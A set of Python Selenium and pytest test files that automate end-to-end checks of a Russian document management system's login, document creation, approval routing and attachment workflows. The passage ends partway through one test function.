butAct_2 = PageElement(xpath=KSEDLocators.butAct_2) # Кнопка "Действия с выбранными"
butExp = PageElement(xpath=KSEDLocators.butExp) # Кнопка экспорта
butExp_2 = PageElement(xpath=KSEDLocators.butExp_2) # Кнопка экспорта
checkBoxFirst = PageElement(xpath=KSEDLocators.checkBoxFirst) # Первый чекбокс в списке
butFavorite = PageElement(xpath=KSEDLocators.butFavorite) # Кнопка добавить в избранное
butOK = PageElement(xpath=KSEDLocators.butOK) #Кнопка OK добавить в избранное
butSelExp = PageElement(xpath=KSEDLocators.butSelExp) # Кнопка экспорта выбранного
```
tk12011.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDStatAllureVidDic(MPages, Locator, dataTest,KSEDLocators):
def __init__(self, web_driver, uri = dataTest.baseURL):
super().__init__(web_driver, uri)
# self.get(dataTest.baseURL)
# wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
# Ожидание
# select = Select(Locator.username_text)
# select.select_by_visible_text("текст")
# self.wait_page_loaded()
#
# assert "АРМ" in self._web_driver.title
# actions = ActionChains(self.w)
self.section_allur.move_to_element() # Перейти в строку отчеты
self.section_allur.click()
self.stat_tipDoc.wait_until_not_visible()
self.node_Statis.click() # Перейти статистические отчеты
self.stat_tipDoc.wait_until_not_visible()
self.stat_tipDoc.click() # Переход в сводку по типам документов
self.confirm_4.wait_to_be_clickable()
self.confirm_4.click() # Перейти отчеты с истекшим сроком
assert len(self._web_driver.window_handles) == 2 # Проверка, что открытось 2 окно
```
test_Login.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11639 import KSEDLogin
@allure.feature('Авторизация')
# @pytest.mark.parametrize('Ln', ['StroganovSN', 'tst_gid'])
# @pytest.mark.parametrize('Ps', ['12345'])
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11639(web_browser):
""" Проверка авторизации. """
page = KSEDLogin(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
```
tk15812.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDsoftDecision_RD(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
assert "АРМ" in self._web_driver.title
@allure.step("Создание документа")
def Creat(self,):
wait = WebDriverWait(self._web_driver, 10)
self.newDoc_button.click()
self.cardSogl.click()
self.wait_page_loaded()
assert "Страница создания документа" in self._web_driver.title
# Атрибуты документа
self.wait_page_loaded()
# Куратор
self.kurator.wait_until_not_visible()
self.kurator.scroll_to_element()
self.kurator.send_keys(u'Яцкин' + Keys.ENTER)
# Вид документа
self.viewSelecton.wait_until_not_visible()
self.viewSelecton.wait_to_be_clickable()
self.viewSelecton.click()
# Выбор РД
self.viewSelecton.wait_until_not_visible()
self.rdSelecton.wait_to_be_clickable()
self.rdSelecton.click()
# Выбор раздела из РД
self.btnSelection4.wait_to_be_clickable()
self.btnSelection4.click()
# кнопка подтвердить
self.confirm_6.wait_to_be_clickable()
self.confirm_6.click()
# Подписант
self.podpisanti.wait_until_not_visible()
self.podpisanti.scroll_to_element()
self.podpisanti.send_keys(u'Иванов2' + Keys.ENTER)
# заголовок
dt = datetime.datetime.today().strftime("%m-%d-%H.%M.%S")
self.titleCS.scroll_to_element()
self.titleCS.send_keys(u'Auto РД 15812 ' + dt)
# кнопка сохранить проект
self.saveProject.wait_to_be_clickable()
self.saveProject.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
self.wait_page_loaded()
assert "Документ" in self._web_driver.title
def USER_LOGOUTs(self, ):
# page = Locator(self.w)
# wait = WebDriverWait(self.w, 10)
self.user_menu.click()
self.USER_LOGOUT.click()
wait_page_loaded(self._web_driver)
assert "Войти" in self._web_driver.title
#открытие документа
def getDoc(self):
my_file = open("Tests/linkDocCS.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
@allure.step("Создание маршрута согласования")
def creation_of_the_approval_route(self):
# "Согласование" вкладка
self.soglasovanieWkladka.wait_to_be_clickable()
self.soglasovanieWkladka.click()
# "Создать маршрут" клик по кнопке
self.createRuleBtn.wait_to_be_clickable()
self.createRuleBtn.click()
# Выберем "Типовой маршрут"
self.createRuleTypical.wait_to_be_clickable()
self.createRuleTypical.click()
# Кнопка "Продолжить"
self.btnContinium.wait_to_be_clickable()
self.btnContinium.click()
self.btnSelection_3.wait_to_be_clickable()
self.btnSelection_3.click() # кнопка + третий выбор
self.confirm_5.wait_to_be_clickable()
self.confirm_5.click() # кнопка подтвердить
self.wait_page_loaded()
# выпадающий список согласований
self.dropBtn_2.scroll_to_element()
self.dropBtn_2.wait_to_be_clickable()
self.dropBtn_2.click()
# Добавление сотрудника
self.btnAddPerson.wait_to_be_clickable()
self.btnAddPerson.click()
self.wait_page_loaded()
self.reserchInput.send_keys(u'Яцкин' + Keys.ENTER)
self.btnSelection1.wait_to_be_clickable()
self.btnSelection1.click() # кнопка + третий выбор
self.confirm_5.wait_to_be_clickable()
self.confirm_5.click() # кнопка подтвердить
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# # выпадающий список согласований
# self.dropBtn_2.wait_to_be_clickable()
# self.dropBtn_2.scroll_to_element()
# self.dropBtn_2.click()
self.resultSogl.wait_to_be_clickable()
assert "Не начато" in self.resultSogl.get_text()
# Сохраним ссылку на документ в файл
def LinkDocWFile(self):
url = self._web_driver.current_url
my_file = open("Tests/linkDocCS.txt", "w")
my_file.write(str(url))
my_file.close()
@allure.step("Загрузка вложения")
def attachment(self, ):
time.sleep(2)
self.vlozheniya.move_to_element()
self.attachments.wait_to_be_clickable()
self.attachments.click()
self.fileUpload.wait_to_be_clickable()
self.fileUpload.click()
self.files.wait_to_be_clickable()
self.files.send_keys('D:\\test.txt')
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
@allure.step("Направление на согласование")
def NapSoglasovanie(self):
self.sendFor_approval.wait_to_be_clickable()
self.sendFor_approval.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# Проверим статус документа
self.osnSvedeniya.wait_to_be_clickable()
self.osnSvedeniya.scroll_to_element()
self.osnSvedeniya.click()
assert "На согласовании" in self.status_Doc_1.get_text()
@allure.step("Отклонение документа")
def rejectDoc(self):
time.sleep(10)
self.get(self._web_driver.current_url)
self.REJECTED_button.wait_to_be_clickable()
self.REJECTED_button.click()
self.wait_page_loaded()
self.prop_bpm_comment.wait_to_be_clickable()
self.prop_bpm_comment.send_keys('Доработать')
self.apply_button_button.wait_to_be_clickable()
self.apply_button_button.click()
self.wait_page_loaded()
assert "Отклонено" in self.statusSogl.get_text()
@allure.step("Смягчение решения")
def softDecision_RD(self):
time.sleep(10)
self.get(self._web_driver.current_url)
self.softDecision.wait_to_be_clickable()
self.softDecision.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
self.confirm2.wait_to_be_clickable()
self.confirm2.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# self.wait_page_loaded()
# self.osnSvedeniya.wait_to_be_clickable()
# self.osnSvedeniya.scroll_to_element()
# self.osnSvedeniya.click()
self.wait_page_loaded()
if dataTest.baseURL == 'http://172.30.48.40:8080/share/page/arm?code=SED':
assert "Согласовано" in self.statusInner_3.get_text()
else:
assert "Согласовано" in self.statusInner_2.get_text()```
tk11690.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver import ActionChains
from page_objects import PageObject
from page_objects import PageElement
from page_objects import MultiPageElement
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import Select, WebDriverWait
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDsubordinate_doc(Locator, dataTest,KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
#page.wait(2)
# Ожидание
# select = Select(Locator.username_text)
# select.select_by_visible_text("текст")
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# r = page.username_text.locator
#r = "123456"
# my_file = open("temp.txt", "w")
# my_file.write(str(r))
# my_file.close()
#t = page.username_text.locator
def subordinate_doc(self):
wait = WebDriverWait(self.w, 1, poll_frequency=1,
ignored_exceptions=[NoSuchElementException,
ElementNotVisibleException,
ElementNotSelectableException])
actions = ActionChains(self.w)
page = Locator(self.w)
self.w.execute_script("arguments[0].scrollIntoView();", page.expedition)
page.expedition.click()
time.sleep(0.5)
actions.move_to_element(page.expedition).move_by_offset(0, 10).click().perform()
# d = len(page.subordinate)
# print(str(d))
time.sleep(1)
#Так тоже можно
# for element in page.subordinate:
#
# self.w.execute_script("arguments[0].scrollIntoView();", element)
# element.click()
# if page.oneSubordInList:
# page.oneSubordInList.click()
#
# break
for element in page.subordinate:
self.w.execute_script("arguments[0].scrollIntoView();", element)
element.click()
self.w.execute_script("arguments[0].scrollIntoView();", page.oneSubordInList)
page.oneSubordInList.click()
wait_page_loaded(self.w)
assert "Документ" in self.w.title```
test_Reestr.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11679 import KSEDCreatDocReestr
@allure.feature('Создание Реестра')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11679(web_browser):
""" Создание реестра. """
page = KSEDCreatDocReestr(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
# При каждом прогоне теста необходимо обновлять тестовые данные:
# dataTest.BARCODE - повторное использование одного документа при создании реестра невозможно.
```
tk13862.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPorNSoglas(MPages, Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocPoruchenie.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
self.wait_page_loaded()
# Добавление вложения
def attachment(self,):
# page = Locator(self.w)
#
# actions = ActionChains(self.w)
# actions.move_to_element(page.vlozheniya).perform()
# time.sleep(0.5)
# page.attachments.click()
# actions = ActionChains(self.w)
# self.vlozheniya.wait_until_not_visible()
# actions.move_to_element(self.vlozheniya).perform()
self.vlozheniya.move_to_element()
self.attachments.wait_to_be_clickable()
self.attachments.click()
self.fileUpload2.wait_to_be_clickable()
self.fileUpload2.click()
# self.fileUpload3.wait_to_be_clickable()
# self.fileUpload3.click()
self.files.wait_to_be_clickable()
self.files.send_keys('D:\\test.txt')
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# Создание маршрута согласования
def creation_of_the_approval_route(self):
# time.sleep(1)
# "Показать общую карточку" клик
self.show.wait_to_be_clickable()
self.show.click()
# "Согласование" вкладка
self.soglasovanieWkladka.wait_to_be_clickable()
self.soglasovanieWkladka.click()
# "Создать маршрут" клик по кнопке
self.createRuleBtn.wait_to_be_clickable()
self.createRuleBtn.click()
# Выберем "Индивидуальный маршрут"
self.createRuleIndivid.wait_to_be_clickable()
self.createRuleIndivid.click()
# Появилась форма "Редактирование маршрута" нажмем "ОК"
self.btnOKform.wait_to_be_clickable()
self.btnOKform.click()
# Нажмем кнопку "Добавить этап"
self.addEtap.wait_to_be_clickable()
self.addEtap.click()
# Заполним "Вид этапа"
# self.tipeEtap.wait_until_not_visible()
# self.tipeEtap.send_keys("Согласование" + Keys.RETURN)
# self.tipeEtap.send_keys(Keys.RETURN)
self.btnTree.wait_to_be_clickable()
self.btnTree.click() # нажать на кнопку ...
self.btnSelection3.wait_to_be_clickable()
self.btnSelection3.click() # кнопка + третий выбор
self.confirm_5.wait_to_be_clickable()
self.confirm_5.click() # кнопка + третий выбор
# Заполним "Согласующие"
self.soglasuychie.wait_until_not_visible()
self.soglasuychie.send_keys("Яцкин" + Keys.RETURN)
#time.sleep(3)
# Нажмем кнопку "ОК" на форме
#time.sleep(1)
self.btnOKformSogl.scroll_to_element()
self.btnOKformSogl.wait_to_be_clickable()
self.btnOKformSogl.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
#self.wait_page_loaded()
# Направление на согласование и проверка статуса документа
def NapSoglasovanie(self):
self.sendFor_approval.wait_to_be_clickable()
self.sendFor_approval.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
#self.wait_page_loaded()
time.sleep(4)
# Проверим статус документа
self.osnSvedeniya.wait_to_be_clickable()
self.osnSvedeniya.click()
assert "На согласовании" in self.status_Doc.get_text()
def USER_LOGOUTs(self, ):
# page = Locator(self.w)
# wait = WebDriverWait(self.w, 10)
self.user_menu.click()
self.USER_LOGOUT.click()
wait_page_loaded(self._web_driver)
assert "Войти" in self._web_driver.title```
test_smoke.py
```# #!/bin/sh
# #!/usr/bin/python3
#
# # -*- encoding=utf8 -*-
#
#
#
# # How to run:
#
# #.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py::test_15772 --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v test_smoke.py --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py::test_18338 --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v --driver IE --driver-path WebDriver\IEDriverServer --alluredir ./allure_report
#IEDriver
# #.... allure generate ./allure_report && allure open allure-report
# # -s команда вывода всех print в консоль
#
#
#
import pytest
import allure
from KSED.Tests.T681 import KSEDCreatDocCS_RD
from KSED.Tests.T682 import KSEDCreatDocCS_LND
from KSED.Tests.T683 import KSEDCreatDocCS_ETC
from KSED.Tests.T685 import KSEDCreatWaySogl
from KSED.Tests.T686 import KSEDCreatWaySogl_RD
from KSED.Tests.T684 import KSEDaddPerson
from KSED.Tests.T687 import KSEDNaprSogl_RD
from KSED.Tests.T688 import KSEDaddNewVersion
from KSED.Tests.T689 import KSEDaddNewAtt
from KSED.Tests.T691 import KSEDreject_RD
from KSED.Tests.T690 import KSEDacceptSogl_RD
from KSED.Tests.T692 import KSEDinnerSogl_RD
from KSED.Tests.T693 import KSEDrejectInnerSogl_RD
from KSED.Tests.T694 import KSEDrejectTaskInnerSogl_RD
from KSED.Tests.T695 import KSEDrepeatInnerSogl_RD
from KSED.Tests.T696 import KSEDAcceptInnerSogl_RD
from KSED.Tests.T697 import KSEDaddComment
from KSED.Tests.T700 import KSEDtakeTask
from KSED.Tests.T701 import KSEDbackTask
from KSED.Tests.T702 import KSEDreturnDecision_RD
from KSED.Tests.T703 import KSEDsoftDecision_RD
from KSED.Tests.T704 import KSEDchangeAfterRejectInnerSogl_RD
from KSED.Tests.T705 import KSEDsoftDesAfterRejectInnerSogl_RD
from KSED.Tests.T706 import KSEDchangeAfterAcceptInnerSogl_RD
from KSED.Tests.T707 import KSEDchangeAfterAcceptWithRemarkInnerSogl_RD
from KSED.Tests.T708 import KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD
from KSED.Tests.T709 import KSEDaddCommentInnerSogl_RD
from KSED.Tests.T710 import KSEDInnerSoglAfterAddComment_RD
from KSED.Tests.T711 import KSEDacceptSoglwithRemark_RD
from KSED.Tests.T712 import KSEDrejectAfterAcceptSoglwithRemark_RD
from KSED.Tests.T713 import KSEDsoftDisAfterAcceptSoglwithRemark_RD
from KSED.Tests.T714 import KSEDreturnDisFromDelegatAfterReject_RD
from KSED.Tests.T715 import KSEDreturnDisAfterTakeTask
from KSED.Tests.T716 import KSEDsoftDisFromDelegatAfterReject_RD
from KSED.Tests.T717 import KSEDsoftDisAfterTakeTask
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_681(web_browser):
""" СОЗДАНИЕ КАРТОЧКИ СОГЛАСОВАНИЯ ВИДА «РД» """
page = KSEDCreatDocCS_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_682(web_browser):
""" СОЗДАНИЕ КАРТОЧКИ СОГЛАСОВАНИЯ ВИДА «ЛНД»"""
page = KSEDCreatDocCS_LND(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_683(web_browser):
""" СОЗДАНИЕ КАРТОЧКИ СОГЛАСОВАНИЯ ВИДА «ПРОЧИЕ» """
page = KSEDCreatDocCS_ETC(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_684(web_browser):
""" Добавление сотрудника в этап согласования """
page = KSEDaddPerson(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
create_route = page.creation_of_the_approval_route()
# create_route = page.creation_of_the_approval_route()
#
# Attach = page.attachment()
#
# NaprNaSogl = page.NapSoglasovanie()
# saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_685(web_browser):
""" ФОРМИРОВАНИЕ МАРШРУТА СОГЛАСОВАНИЯ (Индивидуальный маршрут) """
page = KSEDCreatWaySogl(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
create_route = page.creation_of_the_approval_route()
# Attach = page.attachment()
# NaprNaSogl = page.NapSoglasovanie()
# saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_686(web_browser):
""" ФОРМИРОВАНИЕ МАРШРУТА СОГЛАСОВАНИЯ (Типовой маршрут) """
# Шаг 1 создание документа
page = KSEDCreatWaySogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDCreatWaySogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_687(web_browser):
""" НАПРАВЛЕНИЕ ДОКУМЕНТА НА СОГЛАСОВАНИЕ """
# Шаг 1 создание документа
page = KSEDNaprSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_688(web_browser):
""" ЗАГРУЗКА НОВОЙ ВЕРСИИ ВЛОЖЕНИЯ В СТАТУСЕ «НА СОГЛАСОВАНИИ» """
# Шаг 1 создание документа
page = KSEDaddNewVersion(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDaddNewVersion(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
# Шаг 4 возврат с согласования
reject = page.rejectYourself()
# Шаг 5 загрузка новой версии файла
attach = page.attachment_docReady()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_689(web_browser):
""" ЗАГРУЗКА ВЛОЖЕНИЯ В СТАТУСЕ «НА СОГЛАСОВАНИИ» """
# Шаг 1 создание документа
page = KSEDaddNewAtt(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDaddNewAtt(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
# Шаг 4 возврат с согласования
reject = page.rejectYourself()
# Шаг 5 загрузка нового файла
attach = page.attachment_NewDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_690(web_browser):
""" ОСНОВНОЕ СОГЛАСОВАНИЕ """
# Шаг 1 создание документа
page = KSEDacceptSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDacceptSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDacceptSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_691(web_browser):
""" ООСНОВНОЕ СОГЛАСОВАНИЕ (Отклонение документа) """
# Шаг 1 создание документа
page = KSEDreject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_692(web_browser):
""" ВНУТРЕННЕЕ СОГЛАСОВАНИЕ """
# Шаг 1 создание документа
page = KSEDinnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDinnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_693(web_browser):
""" ВНУТРЕННЕЕ СОГЛАСОВАНИЕ (Отзыв с внутреннего согласования) """
# Шаг 1 создание документа
page = KSEDrejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDrejectInnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 направление на внутреннее согласования
page2 = KSEDrejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
# Шаг 5 отзыв внутреннего согласования
rejectInnerSogl = page2.rejectInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_694(web_browser):
""" ВНУТРЕННЕЕ СОГЛАСОВАНИЕ (Отзыв задачи внутреннего согласования у внутреннего согласующего) """
# Шаг 1 создание документа
page = KSEDrejectTaskInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDrejectTaskInnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDrejectTaskInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
rejectTaskInnerSogl = page2.rejectTaskInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_695(web_browser):
""" ВНУТРЕННЕЕ СОГЛАСОВАНИЕ (Повторная отправка на внутреннее согласование) """
# Шаг 1 создание документа
page = KSEDrepeatInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDrepeatInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
rejectTaskInnerSogl = page2.rejectTaskInnerSogl()
repeatInnerApp = page2.repeatInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_696(web_browser):
""" Внутреннее согласование - вынесение решения"""
# Шаг 1 создание документа
page = KSEDAcceptInnerSogl_RD(web_browser)
